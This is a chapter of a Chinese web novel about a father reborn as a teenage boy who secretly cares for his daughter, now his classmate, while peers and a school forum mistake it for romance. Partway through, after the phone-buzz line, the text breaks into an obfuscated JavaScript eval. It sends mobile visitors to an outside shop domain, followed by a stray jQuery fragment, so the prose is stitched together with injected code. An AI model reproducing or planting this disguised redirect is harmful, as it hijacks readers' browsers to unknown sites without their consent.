魏星燃刚上完厕所,看到群聊内容,皱着眉直接设置了消息免打扰。
然后对着卫生间的镜子看着自己现在这张脸,皱了皱眉,又伸手摸了摸,最后狠狠洗了一把脸。
他也不想面对这么操蛋的局面,可已经这样了他有什么办法?
说他不是真正的魏星燃,说他和云荔是纯正的父女关系,谁信呐?
但事已至此……
自己的女儿,跪着也得宠着。
反正不能让云荔在自己眼皮底下受半点委屈!
……
下午三点的阳光斜斜地洒在塑胶跑道上,蒸腾起一股橡胶与尘土混合的气味。
体育课的自由活动时间,操场像一锅煮沸的水。
篮球场那边传来砰砰的运球声和男生的吼叫,足球场有人在大声争执越位,跑道上有女生三三两两地散步聊天,笑声清脆。
这是市二中最普通不过的一场体育课。
而云荔独自坐在操场最东侧的树荫下,背靠着粗糙的梧桐树干正用手扇风喘气。
刚刚跑完八百米,脸颊还泛着运动后的潮红,汗珠顺着白皙的脖颈滑进运动服的领口。
云荔抱着膝盖,把下巴搁在膝盖上,红润的眼睛望着远处喧闹的人群,眼神有些空茫。
“还一个人都不认识呢……转学了连个能说话的朋友都没有。”云荔小声嘀咕着,手指无意识地抠着塑胶地面上的小颗粒。
突然有点怀念十三中。
虽然成绩中游,但至少班里的朋友不会让她这么孤单。
不过云荔也理解姑姑要她转学的做法,她没觉得这不好,就是现在的新同桌古怪了点。
云荔眼神放空,抱着腿靠在树干上发起了呆。
篮球场这边,一场三对三正打得激烈。
祁淮一个干脆的跳投得分,落地时瞥见远处树荫下那个孤单的身影,用球衣下摆擦了擦汗:“咱们大学霸的心上人搁那儿顾影自怜呢。”
夏禹刚被裴澈断了一个球,闻言立刻扭头,眼睛发亮:“哇靠!真的!一个人坐着好可怜的样子!燃哥呢?燃哥——诶?燃哥人呢?”
魏星燃原本坐在篮球场边的长椅上。
他腿上有伤不方便打球所以没上场,就坐在旁边看。
但此刻长椅上已经空空如也。
裴澈转过头,默默指了指操场另一端。
所有人的目光也跟着裴澈的手指看了过去。
魏星燃正迈着有些急促的步伐穿过跑道,一瘸一拐又方向明确地朝着小卖部走。
瘸归瘸,但速度一点也不慢。
“腿伤了还跑这么快?”祁淮挑眉,一边拍着篮球一边啧了一声:“这是要去干嘛?给人家买水?魏星燃能不能有点出息,这还当上舔狗了。”
江清妄从旁边走过来,轻声说:“别这么说,可能只是……”
他的话没说完,因为魏星燃已经从小卖部出来了,手里提着一个鼓鼓囊囊的白色塑料袋,转身又朝着树荫下走去。
树荫下,云荔正看着地上爬行的蚂蚁发呆,突然一片阴影笼罩下来。
抬起头,撞进一双带着熟悉既视感的眼眸里。
魏星燃站在她面前,高大的身影挡住了大部分阳光,额头上有一层细汗,呼吸比平时稍重一些。
他把手里的塑料袋放在她旁边的地上,动作有些粗鲁,但里面的东西摆放得很小心。
“喝点水。”
魏星燃简短说完,从袋子里拿出一瓶冰镇柠檬茶,拧开瓶盖,才递到她面前。
然后又掏出一瓶常温矿泉水,一包番茄味的薯片还有一条榛子巧克力,一股脑儿堆在云荔腿边。
做完这些,魏星燃沉默了两秒,似乎在想还有什么遗漏,最后干巴巴地补充:“坐着不无聊?”
云荔愣住了,看着眼前这些零食饮料,又抬头看看魏星燃。
他的脸逆着光,表情看不太清,但下颌线绷得有点紧。
“谢……谢谢啊……”云荔接过柠檬茶,冰凉的触感让手心一激灵,“同学……你的腿没关系吗?刚才看你跑步好像……”
“死不了。”
魏星燃打断她,声音硬邦邦的。
他在她旁边隔着一拳的距离坐下,背靠着同一棵树干,左腿伸直,右腿曲起。
这个姿势能缓解膝盖的压力。
魏星燃从袋子里拿出最后一瓶矿泉水,仰头灌了一大口。
做完这些,他才侧过头看她:“数学……后面学会了?”
话题转得突兀又生硬。
云荔摇摇头,小声说:“还有两道题没做完……”
虽然对魏星燃的标签还是古怪的早恋爹味男,但他的示好行为还是让云荔心软不少。
尤其是在这种孤单的时候,有人主动过来陪自己说话。
云荔至少觉得自己同桌是个好人。
“放学我教你。”
魏星燃说完然后像是意识到自己答应得太快,又皱起眉,语气恶劣地补了一句:“免得你下次考试拉低班级平均分,丢我这个同桌的脸。”
云荔:?
啥?
虽然这新同桌话说得难听,但云荔却从他眼里看到一抹熟悉的别扭关心。
新同桌真的好爹啊。
要不是俩人年龄差不多大,云荔都想喊爸爸了。
和她爹有时候明明关心但是又嘴硬的时候简直一模一样啊!
云荔捧着柠檬茶,小口小口地喝着,酸酸甜甜的味道在舌尖化开,最后只是点点头:“嗯……”
本来云荔是想离他远点。
但鬼使神差还是点头了。
理由其实很简单,甚至有点诡异,毕竟把一个刚认识一天的同桌当爹确实很离谱,但云荔觉得这至少是个能让她在恍惚的瞬间里……
幻想爸爸还在身边的借口。
但这念头刚冒出来云荔自己就受不了了,是有多缺父爱?要拿同桌当爸爸的代餐?
可头都点了也没法拒绝。
魏星燃也没说话,两人就这样并排坐着,一时无言。
操场上的喧闹声仿佛隔了一层玻璃,变得模糊。
风吹过树梢,叶子沙沙作响,斑驳的光影投在两人身上也开始跳跃。
远处篮球架下,祁淮已经懒得打球了,抱着胳膊冷冷地看着这边。
夏禹激动地抓着江清妄的胳膊摇晃:“看见没看见没!并排坐着!还聊天!还买零食!这还不是喜欢?这绝对是喜欢上了!”
裴澈安静地站在一旁,黑色眼眸微微眯起,他倒是注意到魏星燃坐下的姿势刻意保持了距离,这不太像普通男生追女生的模式。
江清妄轻轻叹了口气:“也许只是觉得她转学过来不适应,想帮帮她。”
“帮?”祁淮冷笑,“他什么时候这么乐于助人了?江清妄,你忘了他当初怎么对你的?你低血糖晕倒,他第一句话是弱鸡就多吃点饭。”
江清妄被噎了一下,无奈地笑了笑。
而树荫下,魏星燃的余光一直注意着云荔。
看她小口喝饮料时微微鼓起的脸颊,看她低头时后颈纤细的弧度。
他手指动了动,差点就直接伸手去擦掉她嘴角的碎屑,像云荔小时候那样。
但魏星燃克制住了,只是别开视线,望向操场另一边。
“以后体育课……”他忽然开口,声音有点哑,“别一个人坐这么远。”
云荔转过头看他。
可魏星燃没有看云荔,侧脸线条在树影里显得格外清晰硬朗。
“为什么?”她声音很轻。
魏星燃沉默了许久,久到云荔以为他不会回答了。
他才低声说:“看着可怜。”
一个人孤零零的,看得老父亲心疼死了。
他没说出后半句。
但云荔好像听懂了什么,抱着膝盖,轻轻嗯了一声。
夕阳开始西斜,把两人的影子拉得很长,在塑胶地面上浅浅地重叠在一起。
魏星燃看着那重叠的影子,心都软了。
他好想揉揉她的头发,想像以前那样说“荔宝不怕,爸爸在”啊。
但他只能坐在这里,以一个“同桌”的身份,用最笨拙的方式,试图填补她世界里突然塌陷的那一块空间。
操场那头,祁淮看了半天,已经掏出手机,在兄弟群里发消息。
夏禹兴奋地凑过去看,然后笑得肩膀直抖。
裴澈收回视线,转身朝体育馆走去。
风吹过,带着初秋的凉意。
魏星燃不动声色地往云荔那边挪了挪,替她挡住了风口。
兜里的手机嗡的震了起来,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914544|213280||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
魏星燃掏出来扫了一眼。
【F5小分队】
祁淮:[图片](魏星燃和云荔并排坐在树荫下的背影)
祁淮:@全体成员实锤了。这孙子没救。
裴澈:距离保持30厘米,肢体无接触,实锤个毛。
夏禹:@裴澈你这观察角度太冰冷了!这氛围!明显是恋爱进行时啊!
江清妄:也许真的只是关心同学……
祁淮:关心到腿伤都不顾跑去买零食?江清妄,你信?这才第一天,都传开了好吧。
下一秒祁淮就往群里甩了个论坛链接。
魏星燃看了云荔一眼,她正吃着零食玩手机,看都没看这边一眼,这才点开链接。
《高二三班那个转学生什么来头?》
楼主:今天体育课看到了,新来的转学生云荔,一个人坐着,结果魏星燃跑去给她买水买零食,还陪聊!魏星燃啊!那个除了江焰月,对其他女生从来爱答不理的学霸魏星燃!
1L:我也看到了!魏星燃跑小卖部的时候腿都有点瘸,但跑得飞快!
2L:他是不是喜欢人家?转学第一天就这么殷勤。
3L:可是他女朋友不是江焰月吗?校花啊,而且还和他一起出了车祸,怎么也算患难与共了吧?
4L:江焰月都昏迷一个月了,魏星燃移情别恋也……能理解?
5L:理解什么啊!焰月学姐和他一起出的事,她受伤那么重,他可倒好,出院就换人了!这也太渣了吧!
6L:不过新同学确实漂亮,纯得要命,我要是男生我也心动。
7L:听说她父母刚去世,挺可怜的……
8L:可怜就能抢别人男朋友?什么逻辑。
9L:说不定魏星燃只是同情她呢?
10L:同情需要坐那么近?需要买巧克力?需要拧瓶盖?姐妹,别自欺欺人了,江焰月绿了。
魏星燃暴躁的滑动手指翻着帖子,只觉得眼前一黑又一黑,有种寡妇被造黄谣的委屈,偏偏他还没法解释。
但仔细一想,如果顶个渣男的名号就能好好照顾女儿,好像……也不是不行?
……
放学铃已经响过二十分钟,教学楼里变得空旷。
夕阳的余晖斜斜地从走廊西侧的窗户照进来,能清楚看到空气里漂浮的尘埃都是金色的。
只有零星的值日生还在教室里打扫。
云荔独自站在三班教室后门外的走廊里,靠着冰凉的瓷砖墙壁,背好书包准备离开。
魏星燃说放学要教她数学,但是等了十分钟没见人,云荔不打算等了。
就在这时有脚步声从走廊另一头传来。
云荔抬起头,看见有个男生正准备下楼,看见她就朝她走过来,很明显目标就是自己本人。
她仔细想了想。
这男生好像叫……裴澈?
是魏星燃的好兄弟之一。
裴澈黑色眼眸平静地看着云荔,校服里套了件深灰色连帽卫衣,帽子耷拉在背后,整个人瘦瘦高高的,透着一股沉静的锋利。
书包就拎在手里,一副准备走人回家前发现目标所以打算谈谈的样子。
云荔手指无意识地收紧书包带,能感觉到气氛不太对劲。
裴澈在她面前一米处停下脚步。
这个距离不近不远,刚好在社交安全距离的边缘,却带着一种无声的压迫感。
裴澈的目光落在她脸上,像是审视,又像是评估。
“云荔。”裴澈开口,声音和他的人一样,清澈冷冽,“转学第一天,适应吗。”
是问句,但语调平直得像个陈述句。
云荔点点头:“还好…”
“魏星燃是你同桌。”裴澈继续说,“他今天很照顾你。”
这句话听起来像是陈述事实,但云荔敏锐地察觉到里面藏着的某种试探。
“嗯,人挺好,帮我讲题,还……”云荔想起体育课那袋零食,脸颊微微发热。
“可他女朋友在医院。”
裴澈打断了云荔没说完的话,黑色的眼睛直视着云荔,语速不快,但每个字都清晰得像冰珠砸在地面。
“因为一起连环车祸,她昏迷不醒,但魏星燃只瘸了一条腿,你知道这意味什么吗?”
云荔听完愣住了。